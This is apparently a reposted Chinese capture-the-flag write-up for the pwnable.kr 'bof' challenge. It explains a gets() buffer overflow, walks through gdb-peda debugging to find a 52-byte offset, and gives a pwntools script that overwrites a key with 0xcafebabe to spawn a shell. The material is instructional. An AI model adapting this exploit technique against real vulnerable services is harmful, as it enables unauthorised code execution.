您的位置:首页 > 其它

pwnable 笔记 Toddler's Bottle - bof

2016-11-16 19:56 465 查看
考察缓存区溢出



题目源码



题目分析

func()
中有一个长度为32的字符串数组
overflow
,在调用
gets()
时由于没有检查字符串长度,导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。随后比较
key
0xcafebabe
,相等的话弹出
sh


解题思路

利用缓存区溢出,将
key
的值覆写为
0xcafebabe


解题过程

首先需要知道变量
overflow
key
存储在内存的什么位置,确定缓存区溢出发生的位置。将
bof
程序下载到本地,用
gdb
打开,开始调试 (顺便推荐
gdb
插件
peda
)

$ gdb ./bof


现在进到了
gdb
的环境中,先在
main()
处下一个断点

gdb-peda$ b main
Breakpoint 1 at 0x68d


然后运行程序

gdb-peda$ r


运行起来应该是这个样子



peda
这个插件很赞,可以直观的看到反汇编代码以及各个寄存器的值,还有高亮显示

现在程序停在了刚才下的断点处,单步调试(
ni
)至
call <func>
后进入函数(
si
),一直跟到
call <gets>




查看一下栈中的情况

gdb-peda$ x/40xw $esp




当前
esp = 0xffffcf50
esp
中存储的是
overflow
开始的位置。

即:数组
overflow
0xffffcf6c
开始,长度为
32
,到
0xffffcf6c + 32 = 0xffffcf8c
结束

从上图中还可以发现地址
0xffffcfa0
中存储的就是
key
的初始值
0xdeafbeef


现在找到了
overflow
key
的地址,只需要计算一下他们之间的差值,便可以得出总共需要多少字符才可以覆盖到
key


0xffffcfa0 - 0xffffcf6c = 52


overflow
里面输入
52
个字节的字符,之后再加上
4
字节的数据(
0xcafebabe
),刚好可以覆写key,详见解题脚本

这里要注意一下内存中的小端存储,可以使用
pwn
库中的
p32()
函数

解题脚本

#!/usr/bin/python
from pwn import *

# target = process("./bof")
target = remote("pwnable.kr","9000")

key = 0xcafebabe
payload = "A" * 52 + p32(key)

target.send(payload)
target.interactive()


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息